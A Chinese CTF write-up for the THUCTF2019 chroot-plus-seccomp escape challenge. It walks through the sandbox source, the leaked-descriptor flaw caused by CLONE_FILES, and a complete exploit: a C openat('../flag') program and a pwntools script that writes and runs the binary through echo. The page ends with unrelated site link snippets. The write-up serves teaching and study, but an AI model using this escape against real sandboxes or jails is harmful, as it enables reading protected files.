[chroot+seccomp逃逸] THUCTF2019 之 固若金汤

题目分析

附件为一个源码, 其中注释我都写好了, 主要就讲关键的知识点.

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>int main(int argc, char **argv)
{MD5_CTX ctx;char md5_res[17]="";char key[100]="";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);/*struct rlimit 结构体定义了一个资源限制。它包含两个字段:rlim_cur: 当前资源限制。rlim_max: 最大资源限制。struct rlimit {__kernel_ulong_t rlim_cur;__kernel_ulong_t rlim_max;};*/struct rlimit r;// 设置进程的核心文件大小限制为 0// 这意味着进程在发生段错误时不会生成核心 core 文件r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));printf("input your key:\n");read(0, key, 20);// 对 key 进行 md5, 结果保存在 md5_res 中MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for(int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}// 创建一个进程pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{	// dir_name 不存在的话则进行创建并配置相关信息printf("Creating your dir\n");// 创建一个目录mkdir(dir_name, 0755);printf("Entering your dir\n");// 进入 dir_name 目录if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 创建相关文件夹mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);// 复制相关文件到当前工作目录下的文件夹中system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);// filename 为 /proc/pid/uid_map// 文件包含了当前进程的 UID 映射信息// 格式为: <inside-uid> <outside-uid> <count>// <inside-uid> 是进程内部的 UID// <outside-uid> 是进程外部的 UID// <count> 是映射的 UID 的数量sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);// 写入 0 1000 1// 表示进程内部的 UID 0 映射到进程外部的 UID 1000// 这意味着进程在容器内部的 UID 为 0,但在容器外部的 UID 为 1000if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 更改当前目录为该进程的根目录if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}// set seccomp// 设置沙箱, 杀了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系统调用scmp_filter_ctx sec_ctx;sec_ctx = seccomp_init(SCMP_ACT_ALLOW);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);seccomp_load(sec_ctx);// 执行命令, 管道只能写pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

总的来说功能就是用户输入一个 key, 然后对其进行 md5, 用此作为路径名设置沙箱, 在沙箱中可以执行一条 shell 命令.

漏洞分析

 漏洞主要在下面这句代码.

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

可以看到其设置了 CLONE_FILES 标志, 这表示父子进程共享文件打开表. 而题目在父进程中打开了以下三个文件并且没有关闭:( 这里目录统称为文件

1) /home/ctf/sandbox/

2) /home/ctf/sandbox/md5(key)

3) /proc/pid/uid_map

其对应的文件描述符依次为3, 4, 5. 所以可以利用 openat 函数进行逃逸:

#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
  • dirfd 是要打开文件的目录的文件描述符。
  • pathname 是要打开的文件的路径名。
  • flags 是打开文件的标志。

 所以这里如果我们设置 dirfd 为 3, 然后 pathname 使用 ../../ 进行目录穿越即可完成逃逸

这里有个 demo:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>int main(int argc, char** argv, char** envp)
{FILE* pp;int pid;pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);if (pid){open("/tmp", O_RDONLY);printf("1 Pid: %d\n", getpid());printf("2 Child Pid: %d\n", pid);sleep(30);exit(0);}sleep(1);printf("3 Child pid: %d\n", getpid());pp = popen("echo '4 Pid: '$$;sleep 100", "w");if (!pp) exit(0);pclose(pp);return 0;
}

可以看到4个进程中都存在 3 这个文件描述符并且指向同一位置 

漏洞利用

在漏洞分析阶段, 我们已经提出了利用方式, 即通过 openat 配合父进程"遗留"的文件描述符实现逃逸.

但是这里就存在一个问题了, 在题目分析中已经说了, 最后我们只能通过 popen 去执行一个 shell 命令. 而原则上题目只给了 bash, chmod, tee 三个 shell 命令. 而我们最后是要利用 openat 打开 flag文件进行读取输出, 所以我们像 kernel pwn 那样上传一个 exp 然后执行. 那么如何将 exp 写入文件呢? 在 kernel pwn 中我们都是通过 echo 来完成的. 这里有 echo 吗? 答案是有的, 别忘了内建命令.

看看 gpt 的回答: 

  • 可用性不同:内建命令在所有 Linux 系统上都可用,而非内建命令则需要安装相应的软件包才能使用。

而我们可以通过 type 去简单判断一下是否是内建命令. 比如:

本地复现

修改代码为如下代码: 注: 这里仅仅为了本地复现而已, 所以把 seccomp 给删了:(因为我虚拟机没下

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>int main(int argc, char **argv)
{char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{printf("Creating your dir\n");mkdir(dir_name, 0755);printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

exp 如下:

import os
from pwn import *
import codecsio = process("./pwn")code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){char buf[20]={0};int fd = openat(4, "../flag", 0);read(fd, buf, 100);write(1, buf, 0x20);printf("Good !\\n");
}
'''a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))io.recv()
io.sendline(payload)
io.recv()
io.interactive()

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/167599.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C/PTA —— 10.函数1(课外实践)】

C/PTA —— 10.函数1&#xff08;课外实践&#xff09; 一.函数题6-1 符号函数6-2 求排列数6-3 求一个大于10的n位整数w的后n-1位的数&#xff0c;并作为函数值返回。6-4 其右上三角&#xff08;含主对角线&#xff09;元素之和。6-5 字符串比较6-6 使用函数求素数和6-7 使用函…

【电子通识】为什么说做产品不是简单的将不同的技术进行搭积木?

很多人说做产品的硬件工程师&#xff0c;其实就是将专项技术工程师已经调好的模块进行拼接。类似于小孩将积木搭成一个房子的形状&#xff0c;虽然不同人搭的房子风格迥异&#xff0c;但所使用的原材料却都是一样的。 首先我并不同意这种看法&#xff0c;原因是产品工程师是需要…

JVM深入理解

JVM深入理解&#xff08;一&#xff09; JVM是什么 JRE、JDK和JVM 的关系 JVM原理 1、JVM是什么&#xff1f; JVM是Java Virtual Machine&#xff08;Java虚拟机&#xff09;的缩写&#xff0c;由一套字节码指令集、一组寄存器、一个栈、一个垃圾回收堆和一个存储方法域等组…

MediaCodec详解

MediaCodec 是Android平台提供的一个API&#xff0c;用于对音频和视频数据进行编码&#xff08;转换为不同的格式&#xff09;和解码&#xff08;从一种格式转换回原始数据&#xff09;。它是Android 4.1&#xff08;API级别16&#xff09;及以上版本的一部分&#xff0c;允许开…

【教3妹学编程-算法题】统计和小于目标的下标对数目

2哥 : 3妹&#xff0c;OpenAI的宫斗剧迎来了大结局&#xff01;OpenAI宣布阿尔特曼复职CEO&#xff0c;董事会重组 3妹&#xff1a;啊&#xff1f;到底谁才是幕后操纵者啊&#xff0c;有咩有揪出来 2哥 : 也不是很清楚&#xff0c;据说在被开除的几周前&#xff0c;前CEO曾谴责…

Linux 家目录和根目录

摘要&#xff1a; 在 Linux 操作系统中&#xff0c;家目录和根目录是两个非常重要的概念。它们是 Linux 文件系统中的两个关键节点&#xff0c;为用户和系统进程提供存储、管理和访问文件和目录的接口。本文旨在深入探讨和理解这两个目录的结构、功能和使用方式&#xff0c;同时…

行情分析 - - 加密货币市场大盘走势(11.24)

大饼昨日震荡幅度很小&#xff0c;而今天延续昨日的空头思路。当然如果从MACD日线来看&#xff0c;处于上涨趋势&#xff0c;稳健的可以选择观望等待。空头思路是因为目前EMA21均线和EMA55均线依然保持很远&#xff0c;最近两个月BTC上涨40%&#xff0c;而最近持续保持高位很快…

Twincat使用:EtherCAT通信扫描硬件设备链接PLC变量

EtherCAT通信采用主从架构&#xff0c;其中一个主站设备负责整个EtherCAT网络的管理和控制&#xff0c;而从站设备则负责在数据环网上传递数据。 主站设备可以是计算机、工控机、PLC等&#xff0c; 而从站设备可以是传感器、执行器、驱动器等。 EL3102:MDP5001_300_CF8D1684;…

关于爱普生L3219彩色喷墨打印机打印过程中噪声过大的几点缓解方法

故障描述&#xff1a; 一台新购买的爱普生L3219使用过程中出现了噪声过大的问题&#xff0c;每次打印或者复印都或有明显的噪音过大的现象&#xff0c;目测观察大概是打印机字车左右来回移动的时候剐蹭滑道的问题&#xff0c;与经销商沟通后由经销商联系上级供货商更换一台全新…

CAN实验

CAN 寄存器 HAL库函数 代码 #include "./BSP/CAN/can.h"CAN_HandleTypeDef g_can1_handle; CAN_TxHeaderTypeDef g_can1_txheader; CAN_RxHeaderTypeDef g_can1_rxheader;/* STM32F103 TS1 8 TS2 7 BRP 3 波特率&#xff1a;36000 / [(9 8 1) * 4] 500Kbps …

Qt学习(2)

1.QObject 只有继承了QObject类的类&#xff0c;才具有信号槽的能力。所以&#xff0c;为了使用信号槽&#xff0c;必须继承QObject。凡是QObject类&#xff08;不管是直接子类还是间接子类&#xff09;&#xff0c;都应该在第一行代码写上Q_OBJECT。不管是不是使用信号槽&…

【Java 进阶篇】Jedis 操作 String:Redis中的基础数据类型

在Redis中&#xff0c;String是最基础的数据类型之一&#xff0c;而Jedis作为Java开发者与Redis交互的利器&#xff0c;提供了丰富的API来操作String。本文将深入介绍Jedis如何操作Redis中的String类型数据&#xff0c;通过生动的代码示例和详细的解释&#xff0c;让你轻松掌握…

数字图像处理(实践篇)一 将图像中的指定目标用bBox框起来吧!

目录 一 实现方法 二 涉及的OpenCV函数 三 代码 四 效果图 一 实现方法 ①利用OTSU方法将前景与背景分割。 ②使用连通区域分析可以将具有相同像素值且位置相邻的前景像素点组成的图像区域识别。 ③画bbox。 ④显示结果。 二 涉及的OpenCV函数 ① OpenCV提供了cv2.th…

convertRect:toView 方法注意事项

这是在网上找到的一张图 我们开发中有时候会用到左边转换&#xff0c;convertRect:toView 通常情况下&#xff0c;我们回这样使用 CGRect newRect [a convertRect:originframe toView:c];其中newRect和 originframe的size相同&#xff0c;只改变origin newRect.origin a…

系统优化软件Bitsum Process Lasso Pro v12.4,供大家学习研究参考

1、自动或手动调整进程优先级;将不需要抑制的进程添加到排除列表; 2、设置动态提升前台运行的进程/线程的优先级 3、设置进程黑名单,禁止无用进程(机制为启动即结束,而非拦截其启动)。 4、优化I/O优先级以及电源模式自动化。 5、ProBalance功能。翻译成中文是“进程平衡…

STM32入门--CAN

目录 一、bxCan简介 二、bxCAN总体描述 2.1概述 2.2CAN框图 三、bxCA的工作模式 3.1初始化模式 3.2正常模式 3.3睡眠模式&#xff08;低功耗&#xff09; 四、测试模式 4.1静默模式 4.2环回模式 五、bxCAN功能描述 5.1 发送处理 ​编辑 5.2接收管理 5.2.1 标识符过…

HTTP协议抓包工具Charles 抓包图文完整教程

Charles是在您自己的计算机上运行的Web代理&#xff08;HTTP代理 / HTTP监视器&#xff09;&#xff0c;您的网络浏览器&#xff08;或任何其他Internet应用程序&#xff09;配置为通过Charles访问Internet&#xff0c;Charles可以为您记录并显示发送和接收的所有数据。 Http抓…

Centos8部署MySQL主从复制报错问题

问题1.在部署MySQL主从复制时&#xff0c;创建用户提示ERROR 1819&#xff1a;Your password does not satisfy the current policy requirements。即为当前配置的密码&#xff0c;不符合策略要求。 问题1解决方式&#xff1a; set global validate_password.policyLOW; \\…

Leetcode—1410.HTML实体解析器【中等】

2023每日刷题&#xff08;三十八&#xff09; Leetcode—1410.HTML实体解析器 算法思想 实现代码 typedef struct entityChar {char* entity;char rechar; }entity;entity matches[] {{"&quot;", "},{"&apos;", \},{"&amp;"…

NLP中 大语言模型LLM中的思维链 Chain-of-Thought(CoT) GoT

文章目录 介绍思路CoT方法Few-shot CoTCoT Prompt设计CoT投票式CoT-自洽性&#xff08;Self-consistency&#xff09;使用复杂的CoT自动构建CoTCoT中示例顺序的影响Zero-shot CoT 零样本思维链 GoT,Graph of Thoughts总结 介绍 在过去几年的探索中&#xff0c;业界发现了一个现…